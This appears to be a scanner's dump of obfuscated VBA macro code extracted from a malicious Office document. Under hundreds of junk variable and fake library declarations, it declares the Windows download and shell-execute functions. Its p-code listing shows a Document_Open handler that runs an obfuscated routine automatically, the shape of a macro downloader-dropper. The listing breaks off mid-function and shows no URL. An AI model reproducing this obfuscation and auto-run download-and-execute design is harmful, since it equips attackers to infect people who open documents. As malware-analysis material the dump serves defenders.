Private Declare PtrSafe Function bKePKdfHSanCNTGiloLgeAeVqoIcnfOXqhVynqPi Lib "PolVyaoRjgZUYXMkOPzXrlZACfwHNHKJXIOzTAaE" () As String
Dim UAiedbRNFKpvAarrVILBIvaeavEUjuWKAjSIyCkh As Byte
Dim xpXjbwiiRxEbyotUGBDszpYCcXmcOaKyGAftpnll As Boolean
Private Declare PtrSafe Function idfetKEfxueTQjkPzlcEmctZLGeFyIWsNHekXAyd Lib "UnYUYoWraTSDFbFmjqClHWSrxXeeaARhOhljBLqz" () As String
Dim mIxnbsnnxbZUIMsdAnllqLSDeKPEbSWHxNDEFjDB As Double
Dim uuNdESCSEBTMGAgXVpKFLJnKoGLOHfoORrnjZTcu As Long
Dim vMyWdReIVOPLPPYLKXubIVlQQFUJCJpwojCJyfBp As String
Dim kghoofieKJAUVrjLYNECbCBeFflnbCbcibAxMOgw As Integer
Private Declare PtrSafe Function dezFszRSraNovNwjCFYaAnJxMQldoRfJHsPfThzI Lib "RDOlFadDmgrArQFooeqitcWopUbGNvqaSPGfklrs" () As String
Dim lUxiEhiihXaDyNCIUyXkEHjgOByMnWPHtYkcYMhm As Byte
Dim lXjxqIiQisCkrujHbYzpEUgXvVdXFEZPxtohixGL As Boolean
Private Declare PtrSafe Function GQAriUggOHPwaJWTzxEHitaPwBTQXfKfZsvcJRHK Lib "VSJVwKKIUWzLtxFFxRHnRcvOzDYJHGUCaAkpdQFD" () As String
Dim bLAwPJjmDiuygHPVIWKKLyAfybMwgrcKFXMxXjad As Double
Dim VLeALpNNXbvDSRILgZYaVHnLwJtQYOAUiqrQKOCp As Long
Dim ZiJNOVhjgUmIsUmgLXmbOWzYzKzHEHDGPyCjSgNs As String
Dim WwvvTqzHHFPmDsespaPwoxyXkjLzpZkZbZwGoMMI As Integer
Private Declare PtrSafe Function klABRoeVpwrLoPOcWuFLKcopNwqOjxqZrDMZSlBH Lib "gundVxAznySgViAdSldgqqbVogWGsptwMLJZGDzT" () As String
Dim ZZqElDiBJSGAEjUdAxBPBeRiHqFphmJshoivmqdW As Byte
Dim DVwOYNpQSXZvYwkvYmPsapMoWtmBMkKlUdpcAUjA As Boolean
Private Declare PtrSafe Function XMytUtvwtNoMHCdWtTZECyhErvieANiFHGMyWmLL Lib "FnAsOserVCItghVYJwaaaMjrAaAqbZUmMUdrCegZ" () As String
Dim tHUveaqdGXuHmzmmVtowreceJXWFWTvYRrrHLKns As Double
Dim ohQgxFMWIoBbwhHzUGXlLWElygkIaEvFVWjxJDpv As Long
Dim vUiOkieCkZEKCnDEZYmxzgsxUkRykFzmWdteRZhe As String
Dim FYnSiiiptcIGFROFOqSIKrujXqouyVsiIUAxNoSh As Integer
Private Declare PtrSafe Function dgTXHZTYnQqtczLCjZXzfzdXkNtGjSehosQUnQZB Lib "ayszOZkzdTgcoTsxOTlkzFhgeWUEtIEuCHRXHvHl" () As String
Dim dObCUeThLqkIUDeWjGqOQoIQQSjMrGhHRdKNGaOI As Byte
Dim ZWYmbXsMfyqpIiJqsqIAvElmLfEYbFsmddBaHUWz As Boolean
Private Declare PtrSafe Function IaaaMbWoKlykDjpKmDvcTGXJbJjxbhpvemLitFQt Lib "iMLEoYxROdOBbyHTAOWEkAPTDXOpTfxBDLUZmcOt" () As String
Dim fCrvKGMCldjrundjRqBMlyWWUtDyAmxUrSNqxuCX As Double
Dim pNIxxdRgvDpWOhprgGYGrSTBOACUCHJStlrBTdej As Long
Public Declare PtrSafe Function SMRTKMCYBPCYYDN Lib "urlmon" _
Alias "URLDownloadToFileA" (ByVal EJMRJHXSCVYIJEX As Long, _
ByVal ZIXQWMDJSQDSWVT As String, ByVal FXPQPTLZQLPAOCL As String, _
ByVal UIQKUADBLLIEUWX As Long, ByVal EUNYDJVDASLAWPP As Long) As Long
Dim NQnqiCAgSvTIXCABvusMLEUFecoqhMBbOJQbsbvd As String
Dim dMvKziYFJPrZiONzObyBlEYZiaymJpMbDsAgRRMP As Integer
Private Declare PtrSafe Function BgaGPcJiUsnAYJzkJAfqtzIQvkugIOKVAetZQNsM Lib "qYvToGLUHOlBBhoMOKsmvncZnsTIaRfxnoAWasCz" () As String
Dim OuySrtylFwWGHynVhqguDMDyhUbUoXDyyOIcAKpk As Byte
Dim SoktadfwuziPrBPrKFQsXdGBnBIvvLairvZqnNzN As Boolean
Private Declare PtrSafe Function uiYkvisCJtTYlUqdxazLlxsPlEahSbPWGSUQFYMa Lib "WtHUKDHEaCJlFGmGXYpIelcgMHmcDxSIdjuGGctO" () As String
Dim jAeXQkxnumGslFYmebBFmKagEhQGewjeAClDSuVF As Double
Dim OZaOrOyikjipUajFSGIXOGOfGGVKFEoqsvsnbqok As Long
Dim YivjvmzwDELjTPiVqtrWvlmcKGWXXDXLnYXrYauK As String
Dim TaGJeEdJOtQDYDQryodlkUAmslsVzukugAmvTdww As Integer
Private Declare PtrSafe Function ohsucmchJRvqQPLWmjjPujBypzRDQuIBDEKsCVLi Lib "xFPWAahBgAtCrLQazaCeVjNZtRKNmCYeaynfGxOT" () As String
Dim YOFLWhEOcFEjwMdLSrLZLtWOIWiFXhHgpTMCxpzj As Byte
Dim ysZjrkikwgZjFcZJECktXXRxcloqWvUiQfcnBogr As Boolean
Private Declare PtrSafe Function tPAuAPHTbQbjruPDCtVPQWQieEuzKdKqbyGGTeES Lib "hVEOcwQPdXrFkyuDBVuxNFDhIOgGLfYnUBahirYh" () As String
Dim xPFWEjqxzLjvZrqDiZHJTWVDJuXKEsIarBMqBMvF As Double
Dim uqJoYfEdLjISvsAtLvShHlGsTKbWhPdRfpSAviUA As Long
Dim yVDacMjtHCjMiOocZiFSBNwxIGswiBiqCAWjWwNw As String
Dim CuINPBPGeYdLqDHaNdxXwewncCQHALyhkzCCaGTc As Integer
Private Declare PtrSafe Function jFjOJiIKIlMiMprqYmwslpKUdxviaGtkxeMhFANu Lib "scyHmHNijAgCzvrmNsvjewIAWsjmqDSdPLTQADOj" () As String
Dim qdYiGuYLuTuymaNEnJkgBfvbRJZGeSfYAmmnAFph As Byte
Dim cxHARIrzeQhFyaMYcBLciCzjQabLInMmPvxgFwup As Boolean
Private Declare PtrSafe Function XdKbGpSTCJuZepMnxMbbmvVAepSHvvERAQpAQFMS Lib "vwhoaTDzSUMIfutRTAotLyrxgcJupKLasoMpFcqT" () As String
Dim nFAXxhpLfyXaRjeisStNwGOfgaGpPhrkEwDlhjLV As Double
Dim lcOSmGBKNfzitiSmyMKXSFhxneoWTBEzVUDZhlZi As Long
Dim uUcMmJJmcvurzsEFJXiBUudzwnFRcWwWzxyxWFPR As String
Dim XztJfUUJnwciJdcgxwjCuwXdNlTDVdzIjRCnnbwL As Integer
Private Declare PtrSafe Function rGeuDcaQgwhUFcrvyswRKGsmOvkZpRugqeGnsxXY Lib "KzzvMKjQnIqOqyofBVcdNcaFqNJZQzBgWfxAYeXG" () As String
Dim YDlEqmTNvzyQSQTtufvaVbyyUHhKPmBrHDAQPTDC As Byte
Dim mbsNyWCnjSLtGVHdTxDqKEbuououTIRBOyronLSU As Boolean
Private Declare PtrSafe Function XPDMmIZJEBWcyBtRuILHFTghHzCggadEGCSNMpzq Lib "vhZYFmJpTLoKzFavPxZZeVDeJmtTaokNyapCCMdr" () As String
Dim hPadBzaLdhHCvSlomjQchHdrSQIDayFJZsoPXKbI As Double
Dim kDOWqsMhQoSVTnuJUwUTXTwWYOttbHOVNjhNgCsQ As Long
Dim tShjAJPeXDdvGKGtOWlvMbJewwVFWaqUNNIaLBZk As String
Dim jVMVzUPgagsQXswBhYmQIUdfMeSKyRYHKBdNnAPo As Integer
Private Declare PtrSafe Function euQLzLnBKSsFPBPmLDfSSnLNkuzYAXhnUcohGDJs Lib "ewherpouCECqrhYCKZSNkZnBGoHkKtQJeChqYANk" () As String
Dim DqFEIsXNuzHGiehIxFseaZWdXgwzzSySFBWDYTZB As Byte
Dim hlTTcOfDkaUViSuyzNSVoKWKVpyUblHJzmwPHIWg As Boolean
Private Declare PtrSafe Function AxZecbpimFUfvhwCsjIZDNUiFNwpEuuFPAMuJMnm Lib "AWukgUrptrANpNgTVDKdlBFCJoFaoqLQNzecuGil" () As String
Dim pIAwMIxXbEDrUliQJrbGIFtxVwHViXuhSalIDgtC As Double
Dim DoqXKhiiAQjSKgjACUpHpdPkzQyrFFVBVWhewiat As Long
Dim HHBUHUCQKfjovaZTrkvHovCNkZnvfmIKNftqmzhY As String
Dim wexdgUEzcnsZlbKehLjfAdhEBSGNOVNevWkwWLpL As Integer
Private Declare PtrSafe Function mfykpTFRaPKFxSYvTYcSeBTIuDdNdodusDYiyyJn Lib "laOtKNIpAhirVIfGBHaHuyyOWojRhBjJaMskrRtx" () As String
Dim rVyRxzfqDYjJcpsyhuSRysxEmEDuIRjSyoBORYWW As Byte
Dim aTIfHhMuMKjyIpaWkFlLDyAmTwkPHuvGetKVoDye As Boolean
Private Declare PtrSafe Function lSVJElLaBmForgUqUUnDoSymiVRVSXfQJZjlyiFV Lib "QBKkDuPycdBrxeyufpMusunFTkOZCcVUjuwdStXu" () As String
Dim zVyinzvbNKjyeIuwntndNYIlBskAMzoqpjPwfzjV As Double
Dim XQcUTWjVYMunuJokaDOIdCxIawktldVdTZjHHSBY As Long
Dim biWtiYXGWXXIUhIyBirKAembqteXiaVtfXKnPqnT As String
Dim zFmEjsHQiVwRDIbiChBEIlTJkYEbzidvgeHmXWsp As Integer
Private Declare PtrSafe Function vEBsltepCnxcilmTwoDtCqvUtnGFJfudzLpcOrXN Lib "XrgpozseEwRtlXGtrmehfcWGlJRbVaQahEqsyzNu" () As String
Dim ayqjHzdcXfgmWfYlGHWrCUtphAmRbSpkrSXyouLY As Byte
Dim BkQYRICjqVhUfUrsNFvrbunpNUstkWHvchiDfbny As Boolean
Private Declare PtrSafe Function hFlJjVzQEbkwYjutvDMltlBqxGPTTNmqWozrVkhK Lib "WxFXIzBCrxhxBIjVANYgvZVApOovlPHSJzGofPqw" () As String
Dim cKubhPWojedFtwwUOnSNPMwGadjLHsoDuWLQUcxy As Double
Dim ZbJQWbkspdDErpdNlVeWryCFXtlsinXWUbOhnSJH As Long
Dim duxEhQsLdKyGzLBHNjRNYIpjLphILEwutxIRsgLs As String
Dim kkFpviMdpNpgIYzysWKpafFIhCjLmOnBWVYbJmDC As Integer
Private Declare PtrSafe Function qONLnDmfIPuykopaYLJJgAMgATCHfoYFgJTGVBaa Lib "wFJPRrIaVBitXDaYQxqKbGdPytWPKmPwRSxwsHMv" () As String
Dim bCnxCQLaFmeuwmduDZuLAilnNCoKvnkskViOYOBt As Byte
Dim mtgvPiISxYUJaWQBpFmyJAaBbApkMAKRuMPiyAPe As Boolean
Private Declare PtrSafe Function xNqBkHKVgViWGtVZRrKWrnukWnDWOoBEvhPcUGTP Lib "tppqAlbFavyinZQwlfUgNMnJrXtxtUdeyBDxpldW" () As String
Dim jboyBMgMbnHskVUVuAawupVdUYbipfFvwhrydBwm As Double
Dim VDsVdHwKmmyvRNtdIjeIMcsXYYBugVpChBmtzJpI As Long





Attribute VB_Name = "Módulo4"
Dim tzVgTShFrSikUtqHiWEYBdNRlVxjofwaeDvfRauZ As String
Dim KDzGCgCoJpKwAwdtZtodMtkWuCgndfLTpyOnHjzY As Integer
Private Declare PtrSafe Function POmGexdjJMwMVnPiTtHqeBuJyqzfYMQLbgYkZJzV Lib "SWqUYGPLVOQEspYMrEPgbboNUglZDexuQeLTzwOi" () As String
Dim uabWUKdpnAecyGhEIxSmkRTLqFJwhhQryxgsAMqc As Byte
Dim DGfrBsoYSQYSLGfhQsZdvwQeAusRBuzZQVXWraRc As Boolean
Private Declare PtrSafe Function TuTfimLJLuPHQLmRlpUNsvKLDTXhjIynlQOeiXpI Lib "nDRGVfOegHtVwibrPXLYBFuxgwqqMnNzgbLwJWsA" () As String
Dim jQBldDlLPhMHlJtuYAOZazddltZKVJRZtOKnIPkL As Double
Dim wdYujwYoMAKWvNmlOPfYblnvmHloYhLrICxJBuOF As Long
Dim zUvoVePSmpTmVFOWKQRbrFCzEpvoZxrHpxysvxJA As String
Dim XRoqWICeAsCVoDWfNUwxQtivOTikfMHFsRjexwMS As Integer
Private Declare PtrSafe Function VSRVmuIzCVaJwgSHIKMOpIlooLBcuXxtchxhUmvV Lib "sveNhFBQKQDFyPsMfORkpKrntOIrWmNCEtfAylRL" () As String
Dim TBmPUEWsXxvQyDoRAoAowxwAPeQKnaeMBMUGFktq As Byte
Dim UaFScAQprXPIQMJFhgLDOOcHepMxryXxeGdEcjJl As Boolean
Private Declare PtrSafe Function BvRTyxMZKLosUlHypuJayMcODEfSUfLHUAYoITAA Lib "QGDNSQlDLHHbekgWxgjzlvBxNIbKBsAkJCuzzGgW" () As String
Dim KOCBVGSrSbZyumZTCtrZgiifylJUQPiqpHtwNvUS As Double
Dim ipwXcqBHxZgTrSafezRLzcHdqduZCjsCnocWMCGL As Long
Dim nKeOArqzkpXNkHXlufGXereCZQnYuzCknEhpVbkJ As String
Dim dCHggImdHFnkqWqBQGVuPLkqvkoXIjIuwBaOenZX As Integer
Private Declare PtrSafe Function wyTdbiBPTvtMnRxjeUVOzGNbjTTSfPnvmwwGGqtV Lib "LnJUeAabBKVrSHzMiszCFgsYWNTsrNnTrnQwoElg" () As String
Dim XtmXTuWuKGCbJkJHzousBzfgRTpKomjvWOesyuxT As Byte
Dim DWitCFWqDZfAohOuKnhFmSIullMbOOhbsFFIrGam As Boolean
Private Declare PtrSafe Function TlUSeEuTIqALuJinounaiYWsNiagtwQYKGwASJRu Lib "XHuWEKZUmaMeXXezOZnsDuDUaLCdVzOhKBSkerhT" () As String
Dim uhCcrXPQCCiVSXIhZIRutbgVgHibiEvkUCuOktGG As Double
Dim XDyNKShPyraMUaoujhFPFFcqYLZXdtbPXYikzmwZ As Long
Dim UZwIdHfJANbctwoeKUKYiKhgWFTtPnvrsyERPjCE As String
Dim QmkOpyznCkEYWrUAbfNnYuIbQjRyWzsiqFWxnSKD As Integer
Private Declare PtrSafe Function vPoUtxGOnxmptRzfaRcIyBUgATkJEbFQBSAUMhBs Lib "EnLwRlMiKfkAUNEjnIvXZBgGEldTZjWtYMdHPIFd" () As String
Dim kCnbtZLVoovyrNDEimiYfeCAcUSuzmghzyoUAwVI As Byte
Dim hoqJJscAsojcxxquYHvoVqRnvcyCNgesqfwKWocP As Boolean
Private Declare PtrSafe Function sVsaVCXqoRqceoFJWZEHKEqwLGbmzhTiCqyCecLk Lib "RbvAeHCFgcAcstGewRthGxWrxlNHUSPsyxAVhOjC" () As String
Dim XKGEzidiqlqMqXlVhBGBeQCuTQTaqxtbWgrPVLjr As Double
Dim qVyzepnupPRbAqZDKcsOlJIuSPdsmUxLNQrUxiPi As Long
Dim nWLeyQnuJIqXJdBuoOEOYYRHosAMltRdmqHSExCd As String
Dim lgOVyGAHNkPnpFhilyYoGBbOvGaUYjhvwUpqxSZd As Integer
Private Declare PtrSafe Function AlCiYhfvMlhhnVnFziSGPgQaFbbbzSJzghmmKuMd Lib "RnFgNgwjQPVwkgXJeqVzKJUBYmLyCqhNrITYVeDF" () As String
Dim svgFNhUdJTIjmlXYhMaDrJmRCSxoHkhEgzbUnrCH As Byte
Dim yOfDFwpgOmUiWGrjlJcNweYAsOzToiigxAbHKIgn As Boolean
Private Declare PtrSafe Function cBIwMEuMejcJvVwfleMNJvuZuTwsUFhCLoUnfUrP Lib "PQmdXpKAhosHLYKrnAoEPsomFzqOslVceDHjQLyc" () As String
Dim IPPgtvvKzJULAUXRZEKEgwwPIdPVnvQErfTEZVmO As Double
Dim YwtaIqTffBvINtXoDexKsNfUFUnVKpwbhvRChPoQ As Long
Dim CtYkTVotpniNakSclhbwfAsjisdgWGjixalSUZIr As String
Dim pRFdPtEHnVlFJdRXPSyiNTArOgcnVKKHHlpJSPDH As Integer
Private Declare PtrSafe Function jhxqLJqiBpBligQmBjHMyBRGdUiFgyLhaioRNrVH Lib "OEkyqXphvSyqdLWxQeuGqFsLUVjCCvYIOOZwNOmq" () As String
Dim DQvczdwzHcJpgxGfdjjDWdxFqaWSdsYAEfIadzyK As Byte
Dim DhAeWDuOiVSGKrzCQEcPtERBiIOIRPWqUJBADrRr As Boolean
Private Declare PtrSafe Function DekjluvbRXIoAifxFrPOrdRJVTqKdoEswNgAowVi Lib "XcyLWxCzujYoBEZezVPINviRgXNOFWvOzSaOkjnB" () As String
Dim aJjrShoaanNRvylBiUvosrUzGrckXldJcvTZcgQx As Double
Dim RxYqqziwHxRQjvcYQvzDUXsgKVcOpDZBybgKjqNI As Long
Dim dTDOKhaMIxWCaVQVhqYChdFrKQtNUsiCPrxcRexU As String
Dim gfEeHEOsFXiKEgEATmKaWlvwJTkiAoRowUlECsHg As Integer
Private Declare PtrSafe Function uKbMHevFNLFhzXJKalMmWNMAIohdrFtPEKRJZubu Lib "rhtPozKEZOCWbrmCwivGJPAyljGeCtExocUNJfbQ" () As String
Dim BRcTIrPPBpCsQhohFsmzovxgywsbKahwExnYXsfx As Byte
Dim FdUzkZvPFVJJDPEUECxOnPFuhhnDjWBgwEZudDam As Boolean
Private Declare PtrSafe Function wcFmcVoFPkrFjnpldsuWtHuOAcJDlgLJzBoURPdw Lib "mBOnQFnBJGZQJNAIwFNrzpphtpeJeGjRTrXtYDON" () As String
Dim sVTQHlNKSiGQKaxRFMHFkXYrOhIYpTzlqSyEiFnl As Double
Dim EfWCYCEDfFlDVAHjcgLoTqqDNaiRGZipwqylmBFj As Long
Dim fTVRaQXXtUyqpNzCoqBYpmxMTvgaAzQiQuceayAs As String
Dim WcBMvMVuOQzKKlrPYerzoUOwemgoiAbbnzWXbcLf As Integer
Private Declare PtrSafe Function HQSrJprnpgEvQXmSqyjjJzxNXscXWtfFzUrSSObT Lib "gySeFfVoSssxMcMlmsJApqVcbrNTSDtaHDUMDEJd" () As String
Dim bsADFSzRbABEICMlkSTdXcoEFRbZhrgGdWXviMzZ As Byte
Dim PJFLKRGhywDBBZoKXAMMfXNCweiDmWRdaokJGUxJ As Boolean
Private Declare PtrSafe Function GrAhlqAFVVPCzlnqeyMoefSffAPTZFcpqTTLFGID Lib "ZgksPRMcCAvhJxrlPKqpwyfDjCvXFApFEefbeGsv" () As String
Dim XSfqKvVbNGdTYEGjStcxxWMAmsdlLvZOGpkKVvlf As Double
Dim qcLZqTivzUQfFMapMAtZDgMrkpWLEQtwHsvVOEzn As Long
Dim vgdpLFhLyEUCssBTycvZlgJJUaXuTcDaqlqDjGne As String
Dim WWGNZuzILYfCVIpFvUbpVJIrzPXGDvqzDnQUgrgu As Integer
Private Declare PtrSafe Function oRNCByRdqUrwVUbjGhQkvwkvWCFTVvuwKwQyvpZK Lib "AxxbPJJWVXpsIJuYRULNCPFUHgpdafksbCCYhdvE" () As String
Dim RWPtZdhfkueiwDnGcdyacGkNlFBHBfNdDYaFaovB As Byte
Dim CFraPECvIIlWcJAgKfWqvfdEkFNYnQYDeJMoaKIq As Boolean
Private Declare PtrSafe Function khgMcatLIgJDQehcishvpLYcpGowGtIhLelxpUXm Lib "SKyeOEdycHmVRqitxrWNeLCDUfPUsbckZTtznJxs" () As String
Dim ZGDxwnzongGkpYTUliDgRgWwwWFvbEEgspOZEEux As Double
Dim BPlCwFPWqrMZCwJNQNkTRDyuuJhuFkYgSnlqQuRq As Long
Public Declare PtrSafe Function NKUsfdsWeRCYdfdfBMDdfssdPIULW Lib "shell32.dll" Alias _
"ShellExecuteA" (ByVal TJWPPWVDDPJFIQV As Long, ByVal FTWQLLOTTMKOBAX As String, _
ByVal ONVALHCXMVWASGM As String, ByVal MUFFEJGYFLPWCBZ As String, ByVal ZKKCIACFQHPWKZV As String, ByVal FOAURMFCAQFFYWP As Long) As Long
Private Declare PtrSafe Function SXDJsKBUMBRXFcBMR Lib "MEffEDWSXEOIfUBQVJ" () As String
Dim eoWGNjNeSJfVjJcvCCtkQdIhrThfOYfxBTehmhHP As String
Dim rHfJUHzJeuqquJJVsJwyMuYLBSIQqURKRuYhdLUd As Integer
Private Declare PtrSafe Function JKqqFVRuerIxfKygxCSPpPqggAxtzDhJhjbYxUMB Lib "ztdHziLrUubdwuApahIdzwoihPKzoQkXpTtvcwgu" () As String
Dim PfzbOXoTTOkgdGStKKXCmEaYRoZpOwZgmvZxVaMI As Byte
Dim giTsvBGAPdhgDwLNonNpySGmHtSYcqfQGxyrzHHc As Boolean
Private Declare PtrSafe Function ZsdUPfpLGBOmhZEMBMZskZnenPZAbHERbMvaOmQz Lib "CudIAiwYasZfqWMVyfsJlHBoXZaZkoqpUCgrkoHu" () As String
Dim AGtrOIHzFiXWHXRTZBpgMkaXGHCUhVZvReGhAlGZ As Double
Dim aZQDINkvYROGFpfNgovNfrdYDzBUYvInZvwVUeYz As Long
Dim hcYapSGyVRjSlnZNwhhUEEtPWLllzlAoqCQuAiXi As String
Dim btDGbdnSmrVUlGrAhxWmbassIRRUMZdihdxggfWU As Integer
Private Declare PtrSafe Function xSBElghxeonydgwAuoOGaAyzzfAlAMasltLzvkwB Lib "KeAOaEULcniavzXNuXIrkjCzExUGRotOWqLpELml" () As String
Dim FpglQFvbfTHdorTMAzzTyWkxryFsVeWlArnTpAEN As Byte
Dim UTsgysZSDDOQVIYVzmyDHfCrubdWdAHSTXVlLNCB As Boolean
Private Declare PtrSafe Function SBIvgmhGUWOXFnQhmFtahIQbqyQVsnYtmdRlJZFe Lib "TpyrRdclsqlgGengRunGmqnTmNPJZVFfuaSTgNBr" () As String
Dim FKFiAhxtAuatcntokaMKbaZppetlLhdNaFoAYLCt As Double
Dim GrIFUquBvyzaUVWVTENPuMjDzstVMBhTkwedHmEr As Long
Dim ONgcDKIRvqXgOOPseMhLwEjuPnoieWyekmyEbTBH As String
Dim usqpAFFaQWZgekvrRxyUZXblLZOnOpPxtdSmrIHE As Integer
Private Declare PtrSafe Function wsuRezvnlsHrQTqbMerzjTADwKjlKslytoEZvUKS Lib "hoSRcgVawiEzyAXQuPaDhRmxqnuJpzPMkQdYmkBb" () As String
Dim QwRHRyBHMtDMBIklCOsMyAVUkedJqFNYeFoYkwpV As Byte
Dim gQvGtterkmGdaXVKmXbzVxmEBJhEXZEHDSOTxjKp As Boolean
Private Declare PtrSafe Function yLrjxoslEqDTumTcBPnYnHnBSxEmkkCljlsCIpZv Lib "aXhDIZHjRSYZDOTMBxxtPokNEYVobQwJLQowSSIg" () As String
Dim skvZXFXolEeHpiGxtwoLFVogvIenoehifUjZwVgZ As Double
Dim RgXHHeCZLtdGcNkHkdZBFdYrewRjijrupEvAKtSX As Long
Dim daEAxLqiArYWSspkXXyvhfQNgCPJKUasoVcsykoc As String
Dim qJZowxiIfPyAyOoZokVdpLidyAedhnZxJvRYuIiv As Integer
Private Declare PtrSafe Function ForrxGIPjuAVbOPlpYemIbCFTZzqupmgLMWEeZHS Lib "zBdZBcoGEgfxtKwRvdXcwspyNnwHjjNhtEcgrNei" () As String
Dim aEJUEjNCnzanFeDqXXXtAVnKWLOkKucscuHtBDsT As Byte
Dim VgdFpkkKnkjuHxqgMPexMQUjHQTvzbDWKRnNjAig As Boolean
Private Declare PtrSafe Function rTzVjCibJOEJAblCKMfcORuXooqbnTDGgPRZBxxO Lib "AkLATSnEeZBlJHqAzFGJwIKFCDIKTWAiniYUfDLr" () As String
Dim cMMCAtGYVDBKOUNFqSBtceZoKHrlcqIokPoNDJIC As Double
Dim erkrisvmZtRLYpzRwfDdNavtIIDUjOXvatoFYdIS As Long
Dim JJHCIktVtInDyMnAgJAtcaDllPmpcpFLeaCxBZun As String
Dim IbcXwOzMJOgEHZKXgAnlXiTSEmefcWJnomTiPrdo As Integer
Private Declare PtrSafe Function aojNlDQvWSslfnmuhpukmxuHVWFiOICmnbUocoRP Lib "UeRIdJvXdEAQeksZJvYRKMYTgDAbecwxgvCrWfyY" () As String
Dim aJVBrmQvfiUYNtyxSBNmswSfFsNyXYRUUGxgnZti As Byte
Dim WryfulmUtFvXGsszyQcUpZKhvdYaXZNoiHXLDZGZ As Boolean
Private Declare PtrSafe Function ZwnyDlZJoIGxTmgYKPXJkXEuEenVOQcZAJpuNTZc Lib "UArkcoxKNdFEZuYlnptSgiWfGzZQbVmLDaGxuEHz" () As String
Dim ETcepUbNJZDVhnatNSlxslHvDlZgHIFYaTyiQtzu As Double
Dim bgQZlNRXZqsIZEDsEyXywtktqOHlcdjVngNjCmWp As Long
Dim KaUJELroVPaoNkQFoUfflhcymyGntBIeEaCFbNon As String
Dim DOyxduZAvHolQyAgMZznyoFdgiEyEpamPINuHAuN As Integer
Private Declare PtrSafe Function hLMrMThLAglYYAUGJAhoFsOcHIqQoxTQGLqffDBo Lib "uanHliRFdtdWdokACPJMSlZeZSAbvComDkAOlnFR" () As String
Dim iFJdulahwBojrnEXwlBtnhMhWiaJCPTjKpKpsdBB As Byte
Dim LrdnfElzOFtQfzZwkXZGZzoKTLMOfQymFXNUavWI As Boolean
Private Declare PtrSafe Function vdWSBmPModVMylWFaOCMJXmFVRJckAzkXJcmDGLL Lib "ztvNFHvsBuvgXIQNiHNYcEWznljOGtUownaQqJGD" () As String
Dim YeaiOhaFXsQPypNStQebiqNbyCQZtLAqmaMtUcdU As Double
Dim sAydkrgMWmxNgRsPJDfxvbQtSpXxWuRcyTZDzTWN As Long
Dim IDkjaWWlveKygGUqaTyAKdxQZtyalgGfPlunSpyq As String
Dim MJeJBsFqWcQGpieTqSEOPjsMypMDhCxSPYjkrnsc As Integer
Private Declare PtrSafe Function HkjeRmdgVMATnFDnPRGbTUiNyVdNqxpkYRyeyExb Lib "fxMQJvPoOWLuZJnUsDzKZbVVRWWxjNKYulTSYVJp" () As String
Dim BeNbNGKMMXAPvKoSEIOpiQJanQdhGujzJQhZEWYj As Byte
Dim LeeNCGMtfVsneWXbFZjrlncFYfAIYrTdIpJEyjRj As Boolean
Private Declare PtrSafe Function VgPWgiLIhOCoMMqIamSJHcorMPITcGOVOeZZggWg Lib "OGTqucwQaApzRIExankrYDRmVlKDpeAVsnBXfFzf" () As String
Dim iDWfNsBRSJpQEEzdNFiJDBklkxIqjQBvGhxzaCxY As Double
Dim xDMlNgcbsAfDUcdFddPpLXtggjjMeldnOSRVknXv As Long
Dim SbWyDNOiZwMrNPUslSGnysklfhRovbUInAeapECb As String
Dim gMqOWFwThGLCYcLmAVvrjTFJkfCHuLgYknOwMvbk As Integer
Private Declare PtrSafe Function QqRQeYZTzYtOKrxbaEvwzRdhWhpyjQVvThNAyerN Lib "LzFsihuxxaUjrKjdVvTQgfQNxSUqrJZSooKAmxpZ" () As String
Dim BPsIqhxPCxNcpeNcVzzLHfkaIfhtPXKvpBGwoFah As Byte
Dim SGzSLDQkeWYttOElKrIKXvXONYwtjDVYTLmtTnKK As Boolean
Private Declare PtrSafe Function PzClrldeZCxDlRFVdqkmAmHoRltvfMgQzeugKGdP Lib "mDCGdTUlXfYKgKzRwKGcCtqNckugcqWyhFhVOkHD" () As String
Dim hhpObVuMEmctjtqQTzjgoBkqUFcPFdgHIzhgGvVn As Double
Dim EEHdzOgwEVltsFEvCZbeGkCnzFYdAUnUtDFOGstn As Long






' Processing file: /opt/analyzer/scan_staging/7fbdbc19abf040a289dbe70592bc3efc.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1537 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Open())
' Line #1:
' 	ArgsCall (Call) fAkPnivsopnymjyIEjUjVLYMzmOsAXvqcObjbgUsdQzfIrpDnQ 0x0000 
' Line #2:
' 	EndSub 
' Line #3:
' Line #4:
' Line #5:
' Line #6:
' Macros/VBA/Módulo1 - 4573 bytes
' Line #0:
' 	Dim 
' 	VarDefn EEHdzOgwEVltsFEvCZbeGkCnzFYdAUnUtDFOGstn (As String)
' Line #1:
' 	Dim 
' 	VarDefn UvCdFgCxzdgdgmuovVgDjoFGTsGbjdYShqdLQqIg (As Integer)
' Line #2:
' 	Dim 
' 	VarDefn qmuYnuGQdcRmSFQAWJAPSqkDVhKUvylJNYHEYMIu (As Boolean)
' Line #3:
' 	Dim 
' 	VarDefn zMiAtDXwyrOodZiITOPsisISdbQkJoOfkqWyrmhO (As Byte)
' Line #4:
' 	Dim 
' 	VarDefn LYCAWtqENRLnXPNsCcalpGTKhLWuBVIhCXtmytia (As Long)
' Line #5:
' 	Dim 
' 	VarDefn YhqQNaBRldAIjrCIHYmIOeqsYgpBAHNkBqbprthG (As Double)
' Line #6:
' 	Dim 
' 	VarDefn NIGvCJLWDPqPHxEHhldijtDvSgeYytsRhEbQjgGV (As String)
' Line #7:
' 	Dim 
' 	VarDefn xsELjNVGImrYWlxJXirXpvWqREMxzbqmzBsssqXK (As Integer)
' Line #8:
' 	Dim 
' 	VarDefn wISbjeZhkGVtwumheszzpsSRmKUqrnkQLwSLWcyG (As Byte)
' Line #9:
' 	Dim 
' 	VarDefn IWpiKSluxTArixMkAqoEgbYrvoDooYrluKYQfQrR (As Byte)
' Line #10:
' 	Dim 
' 	VarDefn CjmARDfRRmajqdJPzPsLaLmVSzWCeAVohNbArFtP (As Boolean)
' Line #11:
' 	Dim 
' 	VarDefn rczhnISOwNsDttTEwsGonhiQTsVSlCtksvutEUJE (As Double)
' Line #12:
' 	Dim 
' 	VarDefn ZsYjxGFdwfnkHoTuVXenYyrRUYdLrRaHBGRjEqUj (As Double)
' Line #13:
' 	Dim 
' 	VarDefn ioZyfFgtgVCCwByFlcjDlYyeanYfVHhFcXNgVZpy (As Long)
' Line #14:
' Line #15:
' Line #16:
' 	FuncDefn (Public Function kbbLdVDOERzhLWAciQLkrYkNUsihvW(RBbjOtfDbBJvyNswTnVLDCIzZCMetU As String) As String)
' Line #17:
' 	Dim 
